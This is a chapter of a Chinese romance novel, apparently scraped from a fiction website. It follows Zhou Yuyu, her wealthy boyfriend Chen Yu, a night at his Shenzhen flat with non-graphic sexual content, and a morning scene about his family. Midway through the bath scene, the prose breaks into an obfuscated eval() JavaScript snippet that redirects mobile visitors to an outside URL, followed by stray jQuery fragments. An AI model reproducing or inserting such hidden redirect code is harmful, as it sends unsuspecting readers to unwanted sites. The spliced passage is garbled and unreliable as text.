大年初八，正式开工。
在这个讲究意头的南方城市，开工第一天对未婚男女而言，几乎是最期待的一个工作日。周予萂一进公司，就被袁晨拉入了扫楼队伍。一群人浩浩荡荡地穿梭在各个部门，嘴里的吉祥话张口就来：“恭喜发财，红包拿来！”
已婚的同事早准备好了厚厚一沓红包，见人就派。数额一般都不大，五块、十块、二十块都有，偶有几封五十、一百的大红包，通常都是领导派的，图的就是个好意头。
周予萂兜了三十几封红包，衣服口袋里被塞得鼓鼓囊囊。
大家都没心思工作，也没心思点外卖，周予萂便和同事成群结队吃了顿北京烤鸭。
到了下午，默认自由活动，领导们睁一只眼闭一只眼，周予萂便和几个要好的同事溜出去，在公司附近看了场贺岁档电影。
从电影院出来，已近六点。商场里冷气开得很足，周予萂裹紧了大衣，兜里的手机开始震动起来，是陈屿发来的微信，隔着屏幕都能感受到上班的怨气：“开了一天会，好累。”
周予萂勾了勾唇，给他发了一张和同事举着电影票的自拍，特意配了一行字：“刚看完电影出来，剧情还不错。”
两秒后，陈屿回她一个“小猫惊讶”的表情包，紧接着又发了一条：“这就是世界的参差吗？”
关于陈屿的工作，周予萂了解得并不多，只知道他的公司名称和职务，他是核心骨干，日常就是无休止的会议，以及时不时地长途出差。这种神秘感在过去的关系中很安全，但现在，却说明她对自己的男友完全不了解。
没一会儿，对话框又弹出了一行字：“今晚得应酬，推不掉，不能去你那了。”
周予萂盯着那行字看了几秒，心底的小气泡啪地一声，破了。手指悬在屏幕上空，敲敲打打后，又全部删掉，索性找了一个“OK”表情包发过去。
理解、懂事，这是成年人恋爱的基本修养。
回到家时，天已经彻底黑透了。周予萂站在玄关换鞋，屋里静悄悄的，她顿时有点不习惯。
明明之前，她也是这样一个人生活，独来独往，自在随性。可这几天，陈屿像是某种入侵物种，强势地赖在她家，挤占了她所有的生活。他们像两只冬眠的动物，整日整夜地窝在这个Loft里，一起看电影、叫外卖、互相喂食，然后在任何一个兴起的时刻接吻、拥抱。
那几天的密度太高，以至于今晚他突然不来了，竟让她产生了戒断反应。
后来，一连三天，他们都没见过面。直到周六补班的下午，周予萂收到了他的微信：【今晚去我家吧，我应酬完就回去。】
随后发来一个定位，以及一串门牌号和密码。周予萂盯着屏幕看了一会儿，手指敲下一个字：“好”。
她点开定位，那个红点落在福田的一个高档小区。那是寸土寸金的地段，距离她公司仅三个地铁站，但距离她位于深圳关外的家，在不堵车的情况下也需要四十分钟车程。
这四十分钟，不仅是物理距离，也是财富距离。
她并没有多了解陈屿，不知道他的家庭构成，也不清楚具体的资产状况，但直觉是骗不了人的。
第一次见面时，他穿着深圳那套标志性的蓝白校服，与旁人并无二异，但周予萂莫名就觉得即便他身上套的是蛇皮袋，那也是好看的。他身上那种松弛、自信且毫无匮乏感的气质，不是普通家庭能养出来的。后来几次见面，他的吃穿用度，一看就是不差钱的主。
从公司附近的羽毛球馆出来，周予萂坐了地铁，抵达他家时，还不到六点二十。
输入密码进门，玄关的感应灯亮起。这是一套大平层，装修是极简的冷色调，客厅整面落地的玻璃窗外，是深圳繁华的城市天际线。此刻正值黄昏，大片的落日余晖铺洒进来，将屋内染上了一层橘红色。
周予萂站在客厅中央，一时有些怔愣，是她误闯天家了。
主家不在，她恪守着客人本分，没有探头探脑，也没有随意翻动他的物品。下午一场羽毛球下来，她累得手臂发软，肚子饿得咕咕作响，索性点了份外卖，安安静静坐在餐桌前吃完。收拾好残余后，陈屿还没回来，她只好刷手机打发时间。
时间一分一秒过去，身上的薄汗早已干透，皮肤却黏腻得很，她来得匆忙，没带任何洗漱用品，于是打开购物软件下单了一次性内裤、一次性毛巾和卸妆湿巾。
晚上九点，陈屿推门进来时，一眼便看见周予萂挺直了脊背坐在沙发上，像个等待老师点名的好学生。
几天不见，她周身那层自我保护的壳似乎又长回来了。
他脱下外套随手扔在一旁，带着极淡的酒味走了过去，直接将她圈进怀里。
“怎么坐这么端正？不累嘛？等很久了嘛？”他的声音有些哑，低头吻了下来。
那点酒味并不难闻，反而像某种催化剂。周予萂原本僵硬的身体在他的攻势下逐渐软化，两人在宽大的皮质沙发上纠缠，呼吸交错，体温攀升。
情动之时，陈屿的手探向茶几下方的抽屉。
伴随着滑轨流畅的声响，他熟练地摸出了一个方方正正的盒子。
周予萂眯着眼睛，在扫到那个盒子的瞬间，意识清醒了几分。被拉开的抽屉，就在沙发最顺手的位置，他拿得那样自然、不用过脑子。是习惯吗？是以前也经常在这里，和别人做同样的事吗？
无数个疑惑在脑海里翻涌，她抿紧嘴唇，终是一个字都没问。
“bb。”
就在他准备再次覆上来时，周予萂伸手抵住了他的胸膛，偏过头去：“还没洗澡。”
陈屿动作一顿，看着她因为情欲而泛红的脸，喉结滚了滚：“行。”
下一秒，他直接抱她走向浴室。
这是周予萂第一次见识到有钱人的浴室。相比她家那个好不容易挤进两个人，结果连转身都困难的淋浴间，这里宽敞得甚至有些空旷，浴缸和淋浴是分区的，镜面折射着暧昧的灯光。
在这个新的、充斥着他个人气息的空间里，陈屿今晚似乎很兴奋。花洒的水流声掩盖了冲撞的声响，陈屿从身后紧紧贴着她，嘴唇贴在她的耳廓，一遍又一遍地低喃：“bb，bb...”
周予萂闭着眼，眉头微蹙。她并不喜欢这个称呼。“bb”太通俗，太廉价，它可以是任何人。是前女友？是前炮友？还是此时此刻的她？
“bb。”他又叫了一声。
周予萂心头涌起一股莫名的烦躁，却又很快被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410511|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身体的战栗冲散了。她在心里冷笑一声，管他嘴里的bb是谁，反正现在是在叫她。在一片氤氲的水汽中，她应了一声。
这声回应像打开了某个开关。陈屿没让她洗太久，胡乱擦了擦身上的水珠，便把她抱到了主卧大床上。
这一夜，窗外的城市灯火通明，窗内的两人不知疲倦地索取着彼此，仿佛只有通过这种最原始、最激烈的纠缠，才能填补那三天未见的空缺，以及那些横亘在两人之间、无法言明的鸿沟与过去。
周予萂醒来时，身侧的床铺已经凉透了，陈屿不在房间。她赤脚踩在地板上，拉开他的衣柜，指尖划过一排冷色调的衬衫，最终在角落里挑了一件黑色T恤套在身上。他的衣服很宽大，布料松垮地罩着她，衣摆垂落时恰好遮过大腿根。
推开卧室门，陈屿正蹙着眉头坐在办公桌前。听见动静，他抬眼望去，在她身上停留了一瞬，随即自然地挥手，招呼她过去。
周予萂走到他身旁，才发现他正在开会，好在摄像头没开，只有扬声器里传出了声音。
“陈总，泰国那边现在咬得很死，坚持要求建设专属实验室并搭建全套品质管理体系。但目前的客观情况是，当地连基础厂房的主体结构都还没完工，硬件设施完全达不到资方的验收标准。项目进度已经严重滞后，如果继续追加人力和资金投入，风险评估很难过得去，毕竟这半年我们已经处于持续亏损状态了。”
陈屿神色未变，甚至腾出一只手握住周予萂的手腕，将她揽坐至自己腿上，另一只手解除了静音键：“把最新的进度表、亏损明细以及泰方的整改要求汇总，半小时内发我邮箱。我看过数据再做评估。年前两次实地考察都没有实质性进展，如果这次依然无法解决，我会考虑及时止损。今天的会先到这。”
结束会议后，陈屿侧身环住她的腰，头靠在她肩上，长长呼了口气。
周予萂见他神色疲惫，揉了揉他的脑袋，手指穿过乌黑发间时，那个发质硬挺又扎手，发量还很厚实。她轻轻抓了抓，笑着问：“你爸会不会秃头？”
陈屿动作一顿，仰起头看她，眼神里带着几分错愕：“啊？”
“我看科普说，秃头基因传男不传女。如果父亲秃头，儿子大概率很难幸免。”周予萂一本正经地盯着他的发际线分析。
陈屿失笑，拿过手机翻找相册，没一会儿便把屏幕递到她眼前：“你看，这是我爸，今年五十了，纯天然发际线，也没做过植发，这下你可以放心了？”
周予萂凑近看了看，点了点头。照片背景是一栋气派的独栋别墅，门前的台阶上乌泱泱站了起码五排人，构图紧凑而庞大。由于人数过多，每个人的脸在屏幕上都显得很小。
“这是你的全家福？”她问。
“嗯。”陈屿收回手机，漫不经心地道：“不止我们家，还有爷爷那一辈的兄弟姐妹，几房人加起来。”
周予萂轻轻哦了一声，目光从手机屏幕移开，身体向后仰了半步，和他拉开一点距离。
陈屿攥着她的手腕，指腹在她的脉搏处轻轻地揉，笑了笑：“不用害怕，他们不会把你怎么样的。”
周予萂别过脸看向窗外连绵的阴云，低声说：“你不用跟我讲这些，反正我也不会去你家。”